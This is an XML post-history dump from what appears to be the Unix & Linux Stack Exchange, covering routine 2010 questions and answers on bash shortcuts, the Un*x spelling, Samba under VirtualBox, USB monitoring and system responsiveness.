  <row Id="4834" PostHistoryTypeId="10" PostId="2330" RevisionGUID="d48e6ed7-37c5-4d0c-bb18-ded00baa37a2" CreationDate="2010-09-22T12:13:32.107" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4835" PostHistoryTypeId="5" PostId="2330" RevisionGUID="d6b7522c-2648-4ac9-8c61-52aea79b4dbe" CreationDate="2010-09-22T12:13:32.247" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [bash directory shortcuts](http://unix.stackexchange.com/questions/1469/bash-directory-shortcuts)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;zsh has the concept of named directories, so you can say in ~/.zshrc&#xD;&#xA;&#xD;&#xA;    c=/home/fschmitt/svn/plugin_root&#xD;&#xA;    : ~c&#xD;&#xA;and later use this short cut in the shell like this&#xD;&#xA;&#xD;&#xA;    cd ~c/release&#xD;&#xA;&#xD;&#xA;How to best emulate this with bash? I can of course say&#xD;&#xA;&#xD;&#xA;    export c=/home/fschmitt/svn/plugin_root&#xD;&#xA;&#xD;&#xA;and then&#xD;&#xA;&#xD;&#xA;    cd $c/release&#xD;&#xA;&#xD;&#xA;however firstly, the $ is complicated to input on German keyboard layout and secondly, I fear binding a variable with just a single letter name might give problems with unwanted variable expansion." />
  <row Id="4836" PostHistoryTypeId="18" PostId="2330" RevisionGUID="97241743-3d80-440d-9d32-6c4324a6f18a" CreationDate="2010-09-22T12:16:06.870" UserId="73" Comment="to http://unix.stackexchange.com/questions/1469/bash-directory-shortcuts" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4837" PostHistoryTypeId="18" PostId="2332" RevisionGUID="97241743-3d80-440d-9d32-6c4324a6f18a" CreationDate="2010-09-22T12:16:06.870" UserId="73" Comment="from http://unix.stackexchange.com/questions/2330/how-to-mimic-zsh-named-directories-with-bash" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4838" PostHistoryTypeId="18" PostId="2339" RevisionGUID="97241743-3d80-440d-9d32-6c4324a6f18a" CreationDate="2010-09-22T12:16:06.870" UserId="73" Comment="from http://unix.stackexchange.com/questions/2330/how-to-mimic-zsh-named-directories-with-bash" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4840" PostHistoryTypeId="18" PostId="1469" RevisionGUID="97241743-3d80-440d-9d32-6c4324a6f18a" CreationDate="2010-09-22T12:16:06.870" UserId="73" Comment="from http://unix.stackexchange.com/questions/2330/how-to-mimic-zsh-named-directories-with-bash" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4841" PostHistoryTypeId="14" PostId="2330" RevisionGUID="3ea0e50f-7c82-42d5-aeb2-0fd8cbfe2420" CreationDate="2010-09-22T12:16:07.447" UserId="73" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4843" PostHistoryTypeId="5" PostId="2339" RevisionGUID="363ab6f9-ad72-4e75-85e8-8b2d195aad60" CreationDate="2010-09-22T12:17:11.090" UserId="73" Comment="added 23 characters in body" Text="For changing directories, you could use wcd: [Wherever Change Directory][1]&#xD;&#xA;&#xD;&#xA;With that, it'll be like `wcd plugin_root`.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.xs4all.nl/~waterlan/&#xD;&#xA;" />
  <row Id="4844" PostHistoryTypeId="5" PostId="2016" RevisionGUID="cafbf6ef-6dec-45dd-ab97-3afd1b565c97" CreationDate="2010-09-22T12:33:56.727" UserId="1327" Comment="added 72 characters in body" Text="I found the answer on [Arch Linux Forums][1]&#xD;&#xA;&#xD;&#xA;Since pacman 3.4 you can use&#xD;&#xA;&#xD;&#xA;    pacman -D&#xD;&#xA;&#xD;&#xA;to modify *only* the database. So: &#xD;&#xA;&#xD;&#xA;    pacman -D --asexplicit &lt;pkgs&gt;&#xD;&#xA;&#xD;&#xA;will make `&lt;pkgs&gt;`  **explicitly installed**.&#xD;&#xA;&#xD;&#xA;[1]:https://bbs.archlinux.org/viewtopic.php?pid=825936#p825936" />
  <row Id="4845" PostHistoryTypeId="2" PostId="2341" RevisionGUID="0f0979ee-c935-4149-9736-8a792b3a55be" CreationDate="2010-09-22T14:11:41.850" UserId="1578" Text="Hi guys,&#xD;&#xA;&#xD;&#xA;I'm a UNIX shell script programmer, and I would like to know if there is any certification specific for Shell (bash, korn,etc) programmers. Could you help please?&#xD;&#xA;&#xD;&#xA;Also how about CX-310-105 exam to take Oracle Solaris Associate, does it have value on the market?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="4846" PostHistoryTypeId="1" PostId="2341" RevisionGUID="0f0979ee-c935-4149-9736-8a792b3a55be" CreationDate="2010-09-22T14:11:41.850" UserId="1578" Text="Shell Script Certification" />
  <row Id="4847" PostHistoryTypeId="3" PostId="2341" RevisionGUID="0f0979ee-c935-4149-9736-8a792b3a55be" CreationDate="2010-09-22T14:11:41.850" UserId="1578" Text="éshellàésolarisàéoracleà" />
  <row Id="4848" PostHistoryTypeId="2" PostId="2342" RevisionGUID="c49151df-6bfa-46ee-8289-75aaf2e86521" CreationDate="2010-09-22T14:51:17.413" UserId="900" Text="I've noticed that throughout the Internet, within forums and blog posts, Unix always has a * in the word, whether it is *nix or Un*x, as I noticed at the welcoming banner at the Unix StackExchange site.&#xD;&#xA;&#xD;&#xA;Why is this like this?" />
  <row Id="4849" PostHistoryTypeId="1" PostId="2342" RevisionGUID="c49151df-6bfa-46ee-8289-75aaf2e86521" CreationDate="2010-09-22T14:51:17.413" UserId="900" Text="Why is there a * When There is Mention of Unix Throughout the Internet?" />
  <row Id="4850" PostHistoryTypeId="3" PostId="2342" RevisionGUID="c49151df-6bfa-46ee-8289-75aaf2e86521" CreationDate="2010-09-22T14:51:17.413" UserId="900" Text="éunixà" />
  <row Id="4851" PostHistoryTypeId="2" PostId="2343" RevisionGUID="84deb931-674f-43f2-bf6f-70d3dd647ca3" CreationDate="2010-09-22T14:59:35.193" UserId="73" Text="To officially be called a &quot;Unix&quot;, an OS has to adhere to the [Single UNIX Specification](http://www.opengroup.org/onlinepubs/007908799/) put out by the Open Group. OSes that are similar to Unix without actually complying with the SUS are typically called &quot;Unix-like&quot;, which is sometimes abbreviated as Un*x or *nix (since the OSes often have -ix or -nix suffixes: Linux, Minix, IRIX, etc.). Not specifically using &quot;Unix&quot; when referring to them also helps avoid trademark problems" />
  <row Id="4852" PostHistoryTypeId="2" PostId="2344" RevisionGUID="0a0e0b2f-6e88-460c-9ec4-a119b76b9feb" CreationDate="2010-09-22T15:00:07.373" UserId="1339" Text="**Unix (tm)** is registred as a trademark and was owned by several companys, such as&#xD;&#xA;&#xD;&#xA; - AT&amp;T &#xD;&#xA; - Novell&#xD;&#xA; - Univel&#xD;&#xA; - Open Group&#xD;&#xA; - SCO&#xD;&#xA; - Caldera&#xD;&#xA;&#xD;&#xA;Nobody likes to read documents like the [12 pages trademark usage guide by the open group (pdf)][1].&#xD;&#xA;&#xD;&#xA;So the easiest way to refer to Unix was Un*x or *nix. The (tm) is not really necessary, but its simply a habit.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.org/tmug2.pdf" />
  <row Id="4853" PostHistoryTypeId="2" PostId="2345" RevisionGUID="3a311e0a-741c-4f05-be74-ba1d40e39021" CreationDate="2010-09-22T15:43:12.523" UserId="1777" Text="Dear all, where are the application shortcuts (Settings -&gt; XFCE 4 Settings Manager -&gt; Keyboard -&gt; Application Shortcuts) saved?" />
  <row Id="4854" PostHistoryTypeId="1" PostId="2345" RevisionGUID="3a311e0a-741c-4f05-be74-ba1d40e39021" CreationDate="2010-09-22T15:43:12.523" UserId="1777" Text="Application shortcuts" />
  <row Id="4855" PostHistoryTypeId="3" PostId="2345" RevisionGUID="3a311e0a-741c-4f05-be74-ba1d40e39021" CreationDate="2010-09-22T15:43:12.523" UserId="1777" Text="éubuntuà" />
  <row Id="4856" PostHistoryTypeId="2" PostId="2346" RevisionGUID="ae8d967e-75de-413a-828f-f01fe9d58391" CreationDate="2010-09-22T16:33:40.893" UserId="171" Text="You can take a look at this file  see if that is what you are looking for. &#xD;&#xA;&#xD;&#xA;&gt; ~/.config/xfce4/xfconf/xfce-perchannel-xml/xfce4-keyboard-shortcuts.xml&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4857" PostHistoryTypeId="5" PostId="2341" RevisionGUID="1890b1e4-b6a1-4744-99d2-c5dd5aa98138" CreationDate="2010-09-22T16:41:38.353" UserId="73" Comment="deleted 43 characters in body" Text="I'm a UNIX shell script programmer, and I would like to know if there is any certification specific for Shell (bash, korn,etc) programmers.&#xD;&#xA;&#xD;&#xA;Also how about CX-310-105 exam to take Oracle Solaris Associate; does it have value on the market?&#xD;&#xA;" />
  <row Id="4858" PostHistoryTypeId="5" PostId="2345" RevisionGUID="bcba2c95-6b49-4feb-abe7-e234078a1574" CreationDate="2010-09-22T16:41:54.907" UserId="73" Comment="deleted 10 characters in body" Text="Where are the application shortcuts (Settings -&gt; XFCE 4 Settings Manager -&gt; Keyboard -&gt; Application Shortcuts) saved?" />
  <row Id="4859" PostHistoryTypeId="5" PostId="2336" RevisionGUID="623585b3-0370-4f9a-9932-007250857d4e" CreationDate="2010-09-22T17:35:22.160" UserId="73" Comment="added 1 characters in body" Text="You should have a look at the FFmpeg project.&#xD;&#xA;&#xD;&#xA;From the project description:&#xD;&#xA;&gt; &quot;FFmpeg is a complete, cross-platform&#xD;&#xA;&gt; solution to record, convert and stream&#xD;&#xA;&gt; audio and video. It includes&#xD;&#xA;&gt; libavcodec - the leading audio/video&#xD;&#xA;&gt; codec library.&quot;&#xD;&#xA;&#xD;&#xA;It is likely already installed on your system because a lot of media players depend on the libavcodec library.&#xD;&#xA;&#xD;&#xA;To see the available codecs on your system, execute `ffmpeg -codecs`&#xD;&#xA;&#xD;&#xA; - [list of codecs][1] provided by ffmpeg&#xD;&#xA; - [list of video codecs][2] provided by libavcodec &#xD;&#xA; - [list of audio codecs][3] provided by libavcodec&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Ffmpeg#Codecs&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Libavcodec#Implemented_video_codecs&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Libavcodec#Implemented_audio_codecs" />
  <row Id="4860" PostHistoryTypeId="2" PostId="2347" RevisionGUID="0606becf-90ee-43dc-b60f-375d10ee66d8" CreationDate="2010-09-22T17:44:33.330" UserId="4" Text="The term &quot;Unix&quot; technically refers to an actual thing, as described by Michael and Echox.&#xD;&#xA;&#xD;&#xA;The general community lacks a good term for the class of product which we call Unix, Linux, BSD, *BSD, Solaris, etc. These products are related and have alot in common. A CentOS administrator can perform many tasks on a Solaris or FreeBSD system, for example. Also, many people have never heard of Solaris or FreeBSD, but they've heard of &quot;Unix&quot;. So, some people use the term &quot;Un*x&quot; to refer to this class of software.&#xD;&#xA;&#xD;&#xA;I also think that &quot;Un*x&quot; is a humorous word. How do you verbally pronounce &quot;Un*x&quot;, for example? &#xD;&#xA;&#xD;&#xA;*I noticed at the welcoming banner at the Unix StackExchange site*&#xD;&#xA;&#xD;&#xA;I created that wording, so I'll tell you why I did it. I used &quot;Un*x&quot; because I thought it was clever and funny, and I wanted to answer questions like &quot;Does this include things like $MY_FAVORITE_UNIXLIKE_PRODUCT?&quot;." />
  <row Id="4861" PostHistoryTypeId="2" PostId="2348" RevisionGUID="d1621182-971a-4b0f-aacc-1ed0ea88d6b3" CreationDate="2010-09-22T18:04:29.310" UserId="1931" Text="Check out **Handbrake**.  I use it on linux." />
  <row Id="4862" PostHistoryTypeId="2" PostId="2349" RevisionGUID="c14874dd-9afb-4b25-990b-cb5ee8346279" CreationDate="2010-09-22T18:28:32.747" UserId="250" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have recently set up a virtual machine and I want to share files between the host and the guest. Samba seems to be a perfect solution, and indeed it does all that I expect it to. However, if the host machine is not connected to the internet, the Samba server appears offline too. Can somebody show me how to make it work?&#xD;&#xA;&#xD;&#xA;Note: `ps -ef | grep smb` shows that `smbd -F` is running, so I think the process is started properly." />
  <row Id="4863" PostHistoryTypeId="1" PostId="2349" RevisionGUID="c14874dd-9afb-4b25-990b-cb5ee8346279" CreationDate="2010-09-22T18:28:32.747" UserId="250" Text="samba does not work when offline" />
  <row Id="4864" PostHistoryTypeId="3" PostId="2349" RevisionGUID="c14874dd-9afb-4b25-990b-cb5ee8346279" CreationDate="2010-09-22T18:28:32.747" UserId="250" Text="éfileösharingàésambaà" />
  <row Id="4865" PostHistoryTypeId="2" PostId="2350" RevisionGUID="dc84842a-2cfa-494e-b485-c145e4f56714" CreationDate="2010-09-22T18:49:19.053" UserId="1941" Text="This probably depends on the software you use for virtualisation, e.g. VirtualBox or VMWare. But I think Samba is not necessary here at all. At least VirtualBox offers easier file transfer options directly integrated in the software." />
  <row Id="4866" PostHistoryTypeId="5" PostId="2344" RevisionGUID="ab774741-d419-4159-af55-c2739e3e9d40" CreationDate="2010-09-22T18:49:28.483" UserId="1339" Comment="see comments, changed tm to ®; deleted 3 characters in body" Text="**Unix ®** is registred as a trademark and was owned by several companys, such as&#xD;&#xA;&#xD;&#xA; - AT&amp;T &#xD;&#xA; - Novell&#xD;&#xA; - Univel&#xD;&#xA; - Open Group&#xD;&#xA; - SCO&#xD;&#xA; - Caldera&#xD;&#xA;&#xD;&#xA;Nobody likes to read documents like the [12 pages trademark usage guide by the open group (pdf)][1].&#xD;&#xA;&#xD;&#xA;So the easiest way to refer to Unix was Un*x or *nix. The ® is not really necessary, but its simply a habit.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.unix.org/tmug2.pdf" />
  <row Id="4867" PostHistoryTypeId="5" PostId="2326" RevisionGUID="24c4e2ae-f32e-47bc-9621-e34886cf56a2" CreationDate="2010-09-22T19:30:48.910" UserId="1942" Comment="deleted 2 characters in body" Text="This is a question on:[superuser][1], since one reply suggested I ask here...&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;My distro does not yet have a backend for my scanner, but the last release of SANE does. So I downloaded the source and installed.&#xD;&#xA;&#xD;&#xA;Scanning goes fairly well except that for some reason at the end of a scan I get an error message:&#xD;&#xA;&#xD;&#xA;&quot;reset high speed USB device using ehci_hcd and address xx&quot;&#xD;&#xA;&#xD;&#xA;After that I can't scan anything until I unplug and replug the ( USB ) scanner.&#xD;&#xA;&#xD;&#xA;Since I expect my distro to pick up the latest sane version within a few months, for now all I would like to do is reset the scanner so it can do the next page.&#xD;&#xA;&#xD;&#xA;Any suggestions on how to do this?&#xD;&#xA;&#xD;&#xA;PS: The kernel version is: 2.6.31-22&#xD;&#xA;&#xD;&#xA;  [1]: http://superuser.com/questions/191326/linux-reseting-usb-for-scanner" />
  <row Id="4868" PostHistoryTypeId="12" PostId="2350" RevisionGUID="5b55335e-b9cf-44ee-a61d-c3ad0d5440dc" CreationDate="2010-09-22T19:47:40.100" UserId="1941" Text="[{&quot;Id&quot;:1941,&quot;DisplayName&quot;:&quot;fschmitt&quot;}]" />
  <row Id="4869" PostHistoryTypeId="2" PostId="2351" RevisionGUID="f2d0ce2b-1897-40bf-a6db-09e0aaa56b54" CreationDate="2010-09-22T20:38:52.333" UserId="1948" Text="As @echox noted, Unix is a registered trademark.  Traditionally, Unix types loathed trademarks and the like.  This extended to Linux, which was not originally trademarked.  At least not until one William Della Croce registered Linux as a trademark for himself in the mid-nineties - when Linux started to become popularly known and used in trade.  &#xD;&#xA;&#xD;&#xA;Della Croce then sent cease-and-desist letters to anyone who used the Linux mark.  Only then did the Linux community rally and take legal action to claim the trademark.  Linus is now the holder of the Linux trademark, but it was not his original wish.&#xD;&#xA;&#xD;&#xA;That is how much trademarks were reviled by the Unix crowd.&#xD;&#xA;&#xD;&#xA;See http://www.informationweek.com/blog/main/archives/2007/05/who_owns_linux.html for details on the Linux trademark." />
  <row Id="4871" PostHistoryTypeId="2" PostId="2353" RevisionGUID="9ab021a8-f208-47fd-a95d-7c7987f73ef7" CreationDate="2010-09-22T21:51:50.887" UserId="1469" Text="There is a third reason for some commands to be built-in: They can be used when running external commands is impossible.&#xD;&#xA;&#xD;&#xA;Sometimes a system becomes so broken that the `ls` command does not work.  In some cases, an `echo *` will still work.&#xD;&#xA;&#xD;&#xA;Another (more important!) example is `kill`: If a system runs out of free PIDs, it is not possible to run `/bin/kill` (because it needs a PID :-), but the built-in `kill` will work.&#xD;&#xA;&#xD;&#xA;Btw., `which` is an external command (at least it is not internal in bash), so it cannot list internal commands.  For instance:&#xD;&#xA;&#xD;&#xA;    $ which echo&#xD;&#xA;    /bin/echo&#xD;&#xA;    $ type -a echo&#xD;&#xA;    echo is a shell builtin&#xD;&#xA;    echo is /bin/echo&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4872" PostHistoryTypeId="2" PostId="2354" RevisionGUID="cbb21e17-ccfa-4764-a29c-830a04bf3403" CreationDate="2010-09-23T00:05:26.343" UserId="1942" Text="Kernel version: 2.6.31-22&#xD;&#xA;&#xD;&#xA;I wish to maitor the usb traffic to and from a device.  Visiting sites, I am confused.&#xD;&#xA;&#xD;&#xA; 1. Some sites suggest that I need to recompile the kernel, others suggest that all I need to do is install the latest wireshark. Do I have to recompile.&#xD;&#xA; 2. Can someone suggest a website describing the most recent approach to USB sniffing?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4873" PostHistoryTypeId="1" PostId="2354" RevisionGUID="cbb21e17-ccfa-4764-a29c-830a04bf3403" CreationDate="2010-09-23T00:05:26.343" UserId="1942" Text="Monitoring USB traffic. " />
  <row Id="4874" PostHistoryTypeId="3" PostId="2354" RevisionGUID="cbb21e17-ccfa-4764-a29c-830a04bf3403" CreationDate="2010-09-23T00:05:26.343" UserId="1942" Text="éusbàémonitorà" />
  <row Id="4875" PostHistoryTypeId="2" PostId="2355" RevisionGUID="b4cfcc0b-7214-4244-a10e-5b83ae8da50e" CreationDate="2010-09-23T00:09:37.433" UserId="1953" Text="I use a dark theme and the program that I am trying to run hard-codes some color values that make it unusable with the dark theme settings. I want to run this program without the dark theme being applied. Is this possible?" />
  <row Id="4876" PostHistoryTypeId="1" PostId="2355" RevisionGUID="b4cfcc0b-7214-4244-a10e-5b83ae8da50e" CreationDate="2010-09-23T00:09:37.433" UserId="1953" Text="How do I execute a program in gnome and make it use another gtk theme other than the default one?" />
  <row Id="4877" PostHistoryTypeId="3" PostId="2355" RevisionGUID="b4cfcc0b-7214-4244-a10e-5b83ae8da50e" CreationDate="2010-09-23T00:09:37.433" UserId="1953" Text="égnomeàégtkö2à" />
  <row Id="4878" PostHistoryTypeId="2" PostId="2356" RevisionGUID="60dbd0c7-ee80-4f7f-97af-e31b8b2afd4a" CreationDate="2010-09-23T00:14:26.940" UserId="1294" Text="Most of these answers are far too late to the game, as the `*` usage was used on [Usenet][1] and elsewhere to refer to the multiplicity of Unixoid systems. This was significantly before &quot;the suits&quot; even knew what was happening in cyberspace and didn't understand it if they did.&#xD;&#xA;&#xD;&#xA;I found a reference in the [comp.risks archive][2] dated May 1987 where the title&#xD;&#xA;&#xD;&#xA;&gt; Concerning UN*X (in)security&#xD;&#xA;&#xD;&#xA;was already so pedestrian as to warrant no explanation. By this time [Xenix][3] had been long on the market as were various &quot;*ix&quot; based variants which were decidedly &quot;unix&quot; but not &quot;Unix&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Usenet&#xD;&#xA;  [2]: http://catless.ncl.ac.uk/Risks/4.88.html#subj3&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Xenix" />
  <row Id="4879" PostHistoryTypeId="2" PostId="2357" RevisionGUID="580cedb3-a3eb-4a29-8273-c46f21d9a605" CreationDate="2010-09-23T00:29:11.200" UserId="1071" Text="Launch the program as so:&#xD;&#xA;&#xD;&#xA;`GTK2_RC_FILES=/path/to/your/theme/gtkrc application-command`&#xD;&#xA;&#xD;&#xA;I got this from &lt;a href=&quot;http://urukrama.wordpress.com/2008/07/13/setting-a-custom-gtk-theme-for-specific-applications/&quot;&gt;here&lt;/a&gt;, which has some additional information about more complicated scenarios." />
  <row Id="4880" PostHistoryTypeId="5" PostId="2355" RevisionGUID="6b245961-66a1-42b7-800e-4efb8c173f64" CreationDate="2010-09-23T00:52:55.583" UserId="1953" Comment="added more information" Text="I use a dark theme and the program that I am trying to run hard-codes some color values that make it unusable with the dark theme settings. I want to run this program without the dark theme being applied. Is this possible?&#xD;&#xA;&#xD;&#xA;The application that I'm trying to retheme is the ActiveState Komodo IDE." />
  <row Id="4881" PostHistoryTypeId="5" PostId="2354" RevisionGUID="27673a5a-1a15-44bd-9114-f0bc72901179" CreationDate="2010-09-23T01:17:44.497" UserId="73" Comment="added 61 characters in body" Text="Kernel version: 2.6.31-22&#xD;&#xA;&#xD;&#xA;I wish to monitor the USB traffic to and from a device. I've searched, but different sites seem to give different information and I'm confused.&#xD;&#xA;&#xD;&#xA; 1. Some sites suggest that I need to recompile the kernel, while others suggest that all I need to do is install the latest wireshark. Do I need to recompile?&#xD;&#xA; 2. Can someone suggest a website describing the most recent approach to USB sniffing?&#xD;&#xA;" />
  <row Id="4882" PostHistoryTypeId="2" PostId="2358" RevisionGUID="3c6afa1b-0f95-4360-abf1-f2dd2bad62da" CreationDate="2010-09-23T01:27:04.983" UserId="305" Text="You need to recompile kernel/load module. It is present in 2.6.32 (LTS) kernel - probably 2.6.31 as well. `less /usr/src/linux/Documentation/usb/usbmon.txt`. Format is &quot;well known&quot; and it acts like character devince. It can dump in text format as well.&#xD;&#xA;&#xD;&#xA;[Wireshark][1] [can][2] provide live stream and/or read file from USB as far as GUI is concerned.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.wireshark.org/&#xD;&#xA;  [2]: http://wiki.wireshark.org/CaptureSetup/USB" />
  <row Id="4883" PostHistoryTypeId="2" PostId="2359" RevisionGUID="c1fe327d-6ee8-44e0-a8bb-338c89d89cca" CreationDate="2010-09-23T02:17:49.047" UserId="1956" Text="Maybe you should try [plymouth][1], according to is's page: &#xD;&#xA;&gt; ...the boot messages are completely&#xD;&#xA;&gt; occluded.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freedesktop.org/wiki/Software/Plymouthoccluded" />
  <row Id="4884" PostHistoryTypeId="2" PostId="2360" RevisionGUID="cf4e38b2-2daf-4243-8f2f-fa8f8ed0786e" CreationDate="2010-09-23T02:25:14.043" UserId="1957" Text="In FreeBSD:&#xD;&#xA;&#xD;&#xA;    sockstat -4 &#xD;&#xA;&#xD;&#xA;for IPV6&#xD;&#xA;&#xD;&#xA;    sockstat -6" />
  <row Id="4885" PostHistoryTypeId="5" PostId="2349" RevisionGUID="b4535d5a-622c-43ec-b0ea-e7e71b8a3900" CreationDate="2010-09-23T04:53:52.803" UserId="250" Comment="added 827 characters in body" Text="Hello,&#xD;&#xA;&#xD;&#xA;I have recently set up a virtual machine and I want to share files between the host and the guest. Samba seems to be a perfect solution, and indeed it does all that I expect it to. However, if the host machine is not connected to the internet, the Samba server appears offline too. Can somebody show me how to make it work?&#xD;&#xA;&#xD;&#xA;Note: `ps -ef | grep smb` shows that `smbd -F` is running, so I think the process is started properly.&#xD;&#xA;&#xD;&#xA;EDIT: I'm using VirtualBox for the virtualization. Below is my config in `/etc/samba/smb.conf` (I have never changed it, comments removed for simplicity). Sharing is enabled through the GUI in nautilus.&#xD;&#xA;&#xD;&#xA;    [global]&#xD;&#xA;    workgroup = WORKGROUP&#xD;&#xA;    server string = %h server (Samba, Ubuntu)&#xD;&#xA;    dns proxy = no&#xD;&#xA;    log file = /var/log/samba/log.%m&#xD;&#xA;    max log size = 1000&#xD;&#xA;    syslog = 0&#xD;&#xA;    panic action = /usr/share/samba/panic-action %d&#xD;&#xA;    encrypt passwords = true&#xD;&#xA;    passdb backend = tdbsam&#xD;&#xA;    obey pam restrictions = yes&#xD;&#xA;    unix password sync = yes&#xD;&#xA;    passwd program = /usr/bin/passwd %u&#xD;&#xA;    passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .&#xD;&#xA;    pam password change = yes&#xD;&#xA;    map to guest = bad user&#xD;&#xA;    usershare allow guests = yes&#xD;&#xA;" />
  <row Id="4886" PostHistoryTypeId="2" PostId="2361" RevisionGUID="3ea10617-c978-48fb-acfe-c73fe4939648" CreationDate="2010-09-23T05:33:55.170" UserId="1959" Text="I am one of the `n` users of a shared unix machine. For reasons unknown, the machine is not &quot;responsive&quot; enough. For example, it is slow on interactive commands, it takes few noticeable moments for any action (e.g. mouse movement, editor (e.g. gvim) keystrokes) to be visible. The problem is, the people supposedly responsible for addressing the issue do not agree that the machine is not responsive. They do some few simple things and say, &quot;It works fine!&quot;&#xD;&#xA;&#xD;&#xA;How can responsiveness be quantified? What (all) can I measure?&#xD;&#xA;&#xD;&#xA;I can run shell commands (e.g. `top`) periodically with cron and collect statistics, but I am clueless regarding what is a good statistic to go after." />
  <row Id="4887" PostHistoryTypeId="1" PostId="2361" RevisionGUID="3ea10617-c978-48fb-acfe-c73fe4939648" CreationDate="2010-09-23T05:33:55.170" UserId="1959" Text="Quantify unix responsiveness" />
  <row Id="4888" PostHistoryTypeId="3" PostId="2361" RevisionGUID="3ea10617-c978-48fb-acfe-c73fe4939648" CreationDate="2010-09-23T05:33:55.170" UserId="1959" Text="éshellàéunixàésolarisà" />
  <row Id="4889" PostHistoryTypeId="2" PostId="2362" RevisionGUID="e04326df-5da1-4f50-a523-5b4cdf8dee51" CreationDate="2010-09-23T06:29:32.283" UserId="73" Text="This isn't strictly speaking the same as &quot;responsiveness&quot;, but one metric you should probably check is the system load average; `uptime` will show the average over the last 1/5/15 minutes:&#xD;&#xA;&#xD;&#xA;&gt;  $ uptime  &#xD;&#xA;&gt;  02:30:33 up 6 days,  6:30, 12 users,  load average: 0.85, 0.65, 0.57&#xD;&#xA;&#xD;&#xA;A high enough load will perceptibly slow the system down" />
  <row Id="4890" PostHistoryTypeId="2" PostId="2363" RevisionGUID="3cacdf06-6ede-4666-a0ab-3a6523719383" CreationDate="2010-09-23T07:24:22.797" UserId="33" Text="If many people work on a system IO can become a big problem: When starting a program the system might have to load stuff from the harddisk (program files, libraries, resources) and the memory might be full as well (leading to swap being used heavily). Harddisks are slow. As in really slow.&#xD;&#xA;&#xD;&#xA;There is a program called &quot;iotop&quot; that allows you to track which user uses how much IO and how much disk IO you have overall. Might help you get some material to prove to the admins that the system is in fact running badly and why." />
  <row Id="4891" PostHistoryTypeId="2" PostId="2364" RevisionGUID="24744172-afa5-47b8-9726-fe757203bf5f" CreationDate="2010-09-23T08:10:42.147" UserId="1941" Text="Are you connected directly to the machine or are you logged in remotely via ssh or the like? If the latter, make sure that the perceived lag isn't caused by the network...&#xD;&#xA;&#xD;&#xA;If connected directly, besides looking at IO and system load, you might have a look at memory usage. If a system starts swapping heavily, the perceived responsiveness dramatically decreases. The command &quot;free&quot; shows how much memory is available and how much of it is used." />
  <row Id="4892" PostHistoryTypeId="5" PostId="2350" RevisionGUID="04e6196b-26a8-4ad9-821e-dc36208bce72" CreationDate="2010-09-23T08:20:35.510" UserId="1941" Comment="added 249 characters in body" Text="Have you checked if changing the type of the VirtualBox network adapter makes a difference? Shut down the virtual machine, got to Settings-&gt;Network and try to change the value of &quot;Attached to&quot;. The default is NAT, which should be fine, however if you have NAT and it doesn't work for you, you might try bridged. If you already have bridged there, try NAT.&#xD;&#xA;&#xD;&#xA;Before doing this, you should read the information found in VirtualBox Help, Chapter 6.2. Introduction to networking modes." />
  <row Id="4893" PostHistoryTypeId="13" PostId="2350" RevisionGUID="e4db4647-8666-4b0b-b436-f47c902ce1bd" CreationDate="2010-09-23T08:20:43.123" UserId="1941" Text="[{&quot;Id&quot;:1941,&quot;DisplayName&quot;:&quot;fschmitt&quot;}]" />
  <row Id="4894" PostHistoryTypeId="2" PostId="2365" RevisionGUID="15c9fba6-a724-41d8-b41c-7297c265a13f" CreationDate="2010-09-23T08:52:08.750" UserId="1131" Text="Perhaps you reach a high reputation score in unix.stackexchange and you can put a link to that in your CV. ;)&#xD;&#xA;&#xD;&#xA;Otherwise, I saw some time ago some Unix/Shell related multiple-choice test at Wikiversity. They were described as official Linux-foo-certification like tests. But I cannot find the link now." />
  <row Id="4895" PostHistoryTypeId="2" PostId="2366" RevisionGUID="2788d071-bc89-4e70-a7fe-e5d4dc5a00ab" CreationDate="2010-09-23T11:18:50.917" UserId="1903" Text="Is there any program or script available for decrypt Linux shadow file ?" />
  <row Id="4896" PostHistoryTypeId="1" PostId="2366" RevisionGUID="2788d071-bc89-4e70-a7fe-e5d4dc5a00ab" CreationDate="2010-09-23T11:18:50.917" UserId="1903" Text="Program for decrypt linux shadow file" />
  <row Id="4897" PostHistoryTypeId="3" PostId="2366" RevisionGUID="2788d071-bc89-4e70-a7fe-e5d4dc5a00ab" CreationDate="2010-09-23T11:18:50.917" UserId="1903" Text="élinuxà" />
  <row Id="4898" PostHistoryTypeId="2" PostId="2367" RevisionGUID="25b82ed7-0bb2-4f03-a761-e4e98af1fd14" CreationDate="2010-09-23T11:27:40.437" UserId="1132" Text="its a trademark of SCO" />
